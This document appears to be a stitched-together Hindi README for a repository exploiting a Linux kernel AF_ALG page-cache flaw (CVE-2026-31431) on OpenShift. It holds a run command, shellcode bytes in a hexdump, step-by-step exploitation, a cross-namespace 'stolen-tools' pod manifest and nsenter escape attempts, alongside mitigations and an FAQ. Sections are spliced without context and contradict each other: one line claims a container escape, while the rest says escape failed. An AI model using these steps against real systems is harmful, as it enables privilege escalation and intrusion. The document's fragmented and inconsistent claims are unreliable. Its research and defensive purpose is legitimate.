### स्थानीय फ़ाइल से```bash
python3 exploit.py
su

**पेज कैश सत्यापन (भ्रष्टाचार की पुष्टि करता है):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

**निष्कर्ष:** पेज कैश भ्रष्टाचार सफल होता है, लेकिन विशेषाधिकार वृद्धि विफल हो जाती है।

## तकनीकी विवरण

### भेद्यता

Linux कर्नेल के `authencesn` (प्रमाणित एन्क्रिप्शन विद एसोसिएटेड डेटा - विस्तारित अनुक्रम संख्या) कार्यान्वयन में इसके इन-प्लेस संचालन हैंडलिंग में एक दोष है। AF_ALG सॉकेट पर सबमिट किए गए AEAD संचालन को संसाधित करते समय, एक पेज-कैश पेज कर्नेल की लिखने योग्य गंतव्य स्कैटरलिस्ट में समाप्त हो सकता है।

### शोषण तकनीक

1. **AF_ALG सॉकेट बनाएं** `authencesn(hmac(sha256),cbc(aes))` के साथ
2. **AEAD पैरामीटर कॉन्फ़िगर करें** (कुंजी, authsize)
3. **लक्षित setuid बाइनरी खोलें** (जैसे, `/usr/bin/su`)
4. **splice() का उपयोग करें** बाइनरी को पेज कैश में लाने के लिए
5. **इन-प्लेस AEAD संचालन ट्रिगर करें** जिससे पेज कैश में लेखन हो
6. **शेलकोड लिखें** एक बार में 4 बाइट्स
7. **संशोधित बाइनरी निष्पादित करें** रूट प्राप्त करने के लिए

### शेलकोड

शोषण एक 160-बाइट शेलकोड का उपयोग करता है जो `/usr/bin/su` को पैच करता है:
- पासवर्ड प्रमाणीकरण छोड़ने के लिए
- रूट शेल एक्सेस प्रदान करने के लिए
- अनविशेषाधिकार प्राप्त उपयोगकर्ताओं के लिए सामान्य कार्यक्षमता बनाए रखने के लिए

## Python 3.9 संगतता

Python 3.9 और पुराने संस्करणों में मानक लाइब्रेरी में `os.splice()` नहीं है। इस शोषण में ctypes-आधारित कार्यान्वयन शामिल है:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

### परीक्षण वातावरण 2: नया OpenShift क्लस्टर (सत्यापन परीक्षण)

**क्लस्टर:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**नोड कॉन्फ़िगरेशन:**
- कर्नेल: 5.14.0-570.96.1.el9_6.x86_64 (परीक्षण 1 के समान)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (सत्यापित)
- UID: 1000810000 (यूज़र नेमस्पेस)
- क्षमताएँ: 0x0000000000000000 (शून्य)

**परीक्षण परिणाम:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

परिणाम: ✅ **कंटेनर एस्केप** - होस्ट पेज कैश को संशोधित करता है (डिवाइस 33, आईनोड 4288)

**परिदृश्य B: Restricted-v2 SCC (कोई hostPath नहीं)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

### चरण 1: नेमस्पेस आइसोलेशन बायपास

**भेद्यता:** OpenShift आंतरिक रजिस्ट्री उचित RBAC प्रवर्तन के बिना क्रॉस-नेमस्पेस इमेज पुल की अनुमति देती है।

**शोषण:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

**परिणाम:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...

**कंटेनर OS विवरण:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)

**पार्श्व गति के अवसर:**
- ✅ पूर्ण इंटरनेट एक्सेस (टूल डाउनलोड करना, C2 संचार, डेटा निष्कासन)
- ✅ आंतरिक API एक्सेस (क्लस्टर संसाधनों की गणना करना)
- ✅ आंतरिक रजिस्ट्री एक्सेस (इमेज पॉइज़निंग हमले)
- ✅ पॉड नेटवर्क के माध्यम से क्रॉस-नोड स्कैनिंग

### अवरुद्ध होस्ट एस्केप तकनीकें

ये तकनीकें आज़माई गईं लेकिन OpenShift सुरक्षा नियंत्रणों द्वारा अवरुद्ध कर दी गईं:

**1. nsenter (यूज़र नेमस्पेस रोकता है)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted

**3. कर्नेल मॉड्यूल लोडिंग (कोई क्षमताएँ नहीं + RHCOS हार्डनिंग)**
- RHCOS पर कोई `insmod`, `modprobe`, `kmod` बाइनरी नहीं हैं
- `/lib/modules` खाली है (कंटेनर-अनुकूलित OS)
- `CAP_SYS_MODULE` उपलब्ध नहीं है
- `/proc/sys/kernel/modprobe` केवल-पठनीय माउंट किया गया है

**4. cgroup release_agent (केवल-पठनीय माउंट किया गया)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)

### हमने वास्तव में क्या हासिल किया

✅ **नेमस्पेस आइसोलेशन बायपास**
- आंतरिक रजिस्ट्री से क्रॉस-नेमस्पेस इमेज पुलिंग
- विशेषाधिकार प्राप्त कंटेनर इमेज तक पहुंच (openshift/cli)

✅ **कंटेनर में पेज कैश भ्रष्टाचार**
- CVE-2026-31431 के माध्यम से कंटेनर के `/usr/bin/su` पेज कैश को संशोधित किया
- 160-बाइट शेलकोड इंजेक्शन की पुष्टि हुई (hexdump में दिखाई देता है)
- भ्रष्टाचार कंटेनर फाइलों पर READ ऑपरेशन को प्रभावित करता है

✅ **पॉड से नेटवर्क एक्सेस**
- पूर्ण इंटरनेट कनेक्टिविटी (exfiltration, C2, टूल डाउनलोड)
- आंतरिक API सर्वर एक्सेस (RBAC द्वारा सीमित)
- आंतरिक रजिस्ट्री एक्सेस (इमेज पॉइज़निंग की संभावना)
- पॉड नेटवर्क के माध्यम से क्रॉस-पॉड स्कैनिंग

❌ **विशेषाधिकार वृद्धि - विफल**
- पेज कैश भ्रष्ट हुआ लेकिन कोई रूट एक्सेस प्राप्त नहीं हुआ
- UID अपरिवर्तित रहता है (यूज़र नेमस्पेस UID ~1000000+)
- विशेषाधिकार प्राप्त ऑपरेशन निष्पादित नहीं कर सकते
- /etc/shadow या अन्य प्रतिबंधित फाइलों तक कोई पहुंच नहीं

❌ **होस्ट फाइलसिस्टम एक्सेस - विफल**
- `/proc/1/root` **कंटेनर** के रूट की ओर इशारा करता है, होस्ट की ओर नहीं
- OpenShift वर्कर नोड फाइलसिस्टम तक कोई वास्तविक पहुंच नहीं
- स्क्रिप्ट कंटेनर के `/tmp` में तैनात की गईं, होस्ट के `/tmp` में नहीं
- डिवाइस/इनोड आइसोलेशन होस्ट पेज कैश एक्सेस को रोकता है

❌ **पूर्ण होस्ट एस्केप - अवरुद्ध**
- यूज़र नेमस्पेस आइसोलेशन प्रभावी
- शून्य क्षमताएं nsenter/chroot/host एक्सेस को रोकती हैं
- SCC विशेषाधिकार प्राप्त पॉड निर्माण को अवरुद्ध करता है
- RHCOS हार्डनिंग मॉड्यूल लोडिंग को रोकता है
- restricted-v2 कंटेनर एस्केप को रोकता है

### OpenShift सुरक्षा मूल्यांकन

**नियंत्रण जो काम कर गए ✅**
- सिक्योरिटी कॉन्टेक्स्ट कंस्ट्रेंट्स (SCC) - कंटेनर एस्केप को रोका
- यूज़र नेमस्पेस - पेज कैश को कंटेनर ओवरले में आइसोलेट किया
- शून्य क्षमताएं - कर्नेल एक्सप्लॉइट के बावजूद होस्ट एक्सेस को रोका
- SELinux प्रवर्तन - कंटेनर आइसोलेशन बनाए रखा
- रीड-ओनली /proc/sys - कर्नेल हेरफेर प्रयासों को अवरुद्ध किया
- RHCOS हार्डनिंग - कोई मॉड्यूल लोडिंग क्षमता नहीं

**नियंत्रण जो आंशिक रूप से काम कर गए ⚠️**
- Seccomp RuntimeDefault - सक्रिय लेकिन AF_ALG सॉकेट की अनुमति देता है
- क्षमता ड्रॉपिंग - प्रभावी लेकिन पेज कैश भ्रष्टाचार को नहीं रोकता

**नियंत्रण जो विफल रहे ❌**
- नेमस्पेस RBAC - क्रॉस-नेमस्पेस इमेज पुल की अनुमति दी
- कर्नेल सुरक्षा - AF_ALG इंटरफ़ेस कंटेनरों से सुलभ
- सिस्कॉल फ़िल्टरिंग - splice() डिफ़ॉल्ट seccomp द्वारा प्रतिबंधित नहीं

**समग्र मूल्यांकन:**
जबकि CVE-2026-31431 एक वास्तविक कर्नेल भेद्यता है, OpenShift का डिफेंस-इन-डेप्थ दृष्टिकोण (SCC + यूज़र नेमस्पेस + क्षमता ड्रॉपिंग + फाइलसिस्टम आइसोलेशन) ने सार्थक शोषण को रोका। एक्सप्लॉइट पेज कैश को भ्रष्ट करता है लेकिन restricted-v2 पॉड्स से कोई विशेषाधिकार वृद्धि या कंटेनर एस्केप प्राप्त नहीं करता।

### OpenShift के लिए सिफारिशें

**1. AF_ALG सॉकेट को ब्लॉक करें**```yaml
securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/no-af-alg.json

**3. उन्नत Seccomp प्रोफ़ाइल**
खतरनाक syscalls को ब्लॉक करें:
- `socket(AF_ALG, ...)` - फ़ैमिली 38
- `splice()` को केवल विश्वसनीय फ़ाइल डिस्क्रिप्टर तक सीमित करें
- `init_module`, `finit_module` को ब्लॉक करें यदि पहले से ब्लॉक नहीं हैं

**4. रनटाइम मॉनिटरिंग**
इन पर अलर्ट करें:
- कंटेनरों में AF_ALG socket निर्माण
- क्रॉस-नेमस्पेस इमेज पुल
- संदिग्ध `splice()` syscall पैटर्न
- कंटेनर समझौता संकेतक (अप्रत्याशित रूट प्रोसेस)

### पूर्ण आक्रमण दस्तावेज़ीकरण

पूर्ण आक्रमण श्रृंखला दस्तावेज़ीकरण के लिए जिसमें शामिल हैं:
- शोषण की समयरेखा
- MITRE ATT&CK मैपिंग
- विस्तृत तकनीकी विश्लेषण
- सभी टोही स्क्रिप्ट

देखें:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - क्या काम किया बनाम क्या नहीं, इसका विस्तृत विश्लेषण
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - मूल दस्तावेज़ीकरण (इसमें त्रुटियाँ हैं, सुधार के लिए attacks/README.md देखें)

## शमन उपाय

### तत्काल```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

### कर्नेल पैच

विक्रेता पैच लागू करें:
- Red Hat: https://access.redhat.com/security/cve/cve-2026-31431 पर निगरानी रखें
- Ubuntu: `apt update && apt upgrade linux-image-*`
- अपस्ट्रीम: authencesn को आउट-ऑफ-प्लेस संचालनों में वापस लाने वाला कर्नेल 6.x+

## अक्सर पूछे जाने वाले प्रश्न

### प्रश्न: क्या यह एक्सप्लॉइट मुझे रूट एक्सेस देता है?

**उत्तर:** नहीं - RHEL 9.6 कर्नेल (5.14.0-570.96.1) पर व्यापक परीक्षण के आधार पर, एक्सप्लॉइट कर्नेल पेज कैश को सफलतापूर्वक दूषित करता है लेकिन विशेषाधिकार वृद्धि प्राप्त नहीं करता है। बैकडोर बाइनरी निष्पादित करने के बाद UID अपरिवर्तित रहता है।

### प्रश्न: क्या मैं प्रतिबंधित Kubernetes/OpenShift कंटेनर से बच सकता हूँ?

**उत्तर:** नहीं (प्रतिबंधित-v2 SCC के साथ) - पेज कैश भ्रष्टाचार कंटेनर के ओवरले फाइलसिस्टम तक सीमित है। कंटेनर से बचने के लिए hostPath या समान वॉल्यूम के माध्यम से साझा होस्ट संसाधनों तक पहुंच की आवश्यकता होती है। प्रतिबंधित-v2 SCC होस्ट संसाधन पहुंच को अवरुद्ध करके प्रभावी रूप से बचाव को रोकता है।

### प्रश्न: एक्सप्लॉइट "रूट" का दावा क्यों करता है लेकिन परीक्षण दिखाता है कि यह काम नहीं करता?

**उत्तर:** एक्सप्लॉइट कोड CVE प्रकटीकरण और सैद्धांतिक विश्लेषण के आधार पर लिखा गया था। RHEL 9.6 कर्नेल पर हमारे वास्तविक-विश्व परीक्षण से पता चला:
- पेज कैश भ्रष्टाचार काम करता है ✅ (hexdump के माध्यम से सिद्ध)
- दूषित कैश से कोड निष्पादन काम नहीं करता ❌ (UID अपरिवर्तित)

यह निम्न कारणों से हो सकता है:
- कर्नेल संस्करण अंतर (RHEL 9.6 में सुरक्षा हो सकती है)
- W^X मेमोरी सुरक्षा प्रवर्तन
- निष्पादन बनाम पठन मेमोरी कोड पथ में अंतर

### प्रश्न: क्या यह सभी Linux कर्नेल पर काम करता है?

**उत्तर:** अज्ञात - परीक्षण निम्न तक सीमित था:
- RHEL CoreOS 9.6 (कर्नेल 5.14.0-570.96.1.el9_6.x86_64)
- OpenShift 4.20.16 वर्कर नोड्स

अन्य वितरणों/कर्नेल संस्करणों पर व्यवहार सत्यापित नहीं किया गया है। मूल CVE अनुसंधान स्थितियाँ भिन्न हो सकती हैं।

### प्रश्न: क्या मुझे अभी भी अपने सिस्टम को पैच करना चाहिए?

**उत्तर:** हाँ - बिल्कुल। भले ही विशेषाधिकार वृद्धि प्राप्त नहीं हुई:

1. कर्नेल भेद्यता वास्तविक है (पेज कैश भ्रष्टाचार की पुष्टि हुई)
2. व्यवहार अन्य कर्नेल संस्करणों पर भिन्न हो सकता है
3. hostPath वॉल्यूम के साथ, कंटेनर से बचाव संभव है
4. गहराई में रक्षा के लिए सभी भेद्यताओं को समाप्त करना आवश्यक है
5. भविष्य के अनुसंधान कोड निष्पादन प्राप्त करने के तरीके खोज सकते हैं

सुरक्षा के लिए कर्नेल पैचिंग अनिवार्य है।

### प्रश्न: आपने अपने परीक्षण में वास्तव में क्या सिद्ध किया?

**उत्तर:** 2 स्वतंत्र OpenShift क्लस्टरों पर हमारे व्यापक परीक्षण ने सिद्ध किया:

✅ **पुष्टि की गई:**
- CVE-2026-31431 कर्नेल भेद्यता शोषण योग्य है
- पेज कैश को विशेषाधिकार-रहित कंटेनरों (शून्य क्षमताओं) से दूषित किया जा सकता है
- प्रतिबंधित-v2 SCC के बावजूद AF_ALG इंटरफ़ेस सुलभ है
- शेलकोड इंजेक्शन सफल होता है (hexdump में दिखाई देता है)

❌ **काम नहीं किया:**
- विशेषाधिकार वृद्धि (UID अपरिवर्तित)
- दूषित पेज कैश से कोड निष्पादन
- प्रतिबंधित-v2 पॉड्स से कंटेनर से बचाव
- hostPath के बिना होस्ट फाइलसिस्टम पहुंच

🛡️ **गहराई में रक्षा प्रभावी:**
- SCC + यूज़र नेमस्पेस + क्षमता हटाने ने शोषण को रोका
- कई सुरक्षा परतों ने विस्फोट त्रिज्या सीमित की
- कर्नेल भेद्यता के बावजूद कंटेनर अलगाव बना रहा

## सुरक्षा सूचना

यह रिपॉजिटरी निम्न के लिए एक कर्नेल भेद्यता का दस्तावेजीकरण करती है:
- ✅ अधिकृत सुरक्षा परीक्षण और अनुसंधान
- ✅ भेद्यता सत्यापन और विश्लेषण
- ✅ सुरक्षा जागरूकता और शिक्षा
- ✅ रक्षात्मक उपाय विकास

**निष्कर्ष आधारित:**
- अधिकृत सिस्टम पर नियंत्रित परीक्षण
- कई स्वतंत्र क्लस्टर वातावरण
- व्यापक सत्यापन और पुनरुत्पादकता परीक्षण

**स्पष्ट प्राधिकरण के बिना सिस्टम पर उपयोग न करें।**

## संदर्भ

- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **प्रकटीकरण:** https://copy.fail
- **कर्नेल पैच:** Linux कर्नेल कमिट (1 अप्रैल, 2026)
- **Red Hat सलाह:** https://access.redhat.com/security/cve/cve-2026-31431

## श्रेय

- **CVE खोज:** Taeyang Lee (Theori)
- **मूल विश्लेषण:** Xint Code अनुसंधान टीम
- **एक्सप्लॉइट कार्यान्वयन:** Sean Rickerd
- **व्यापक परीक्षण और सत्यापन:** Sean Rickerd
  - 2 स्वतंत्र OpenShift 4.20.16 क्लस्टर
  - RHEL CoreOS 9.6 कर्नेल 5.14.0-570.96.1
  - वास्तविक बनाम दावा किए गए व्यवहार का दस्तावेजीकरण
  - प्रतिबंधित-v2 SCC प्रभावशीलता सत्यापित

## लाइसेंस

केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए। अपने जोखिम पर उपयोग करें।

---

**रिपॉजिटरी स्थिति:** वास्तविक-विश्व परीक्षण परिणामों के साथ अद्यतन (1 मई, 2026)  
**परीक्षण:** 2 स्वतंत्र OpenShift क्लस्टरों पर पूर्ण  
**मुख्य निष्कर्ष:** पेज कैश भ्रष्टाचार की पुष्टि हुई, विशेषाधिकार वृद्धि प्राप्त नहीं हुई  
**अनुशंसा:** सीमित व्यावहारिक शोषण के बावजूद कर्नेल पैच करें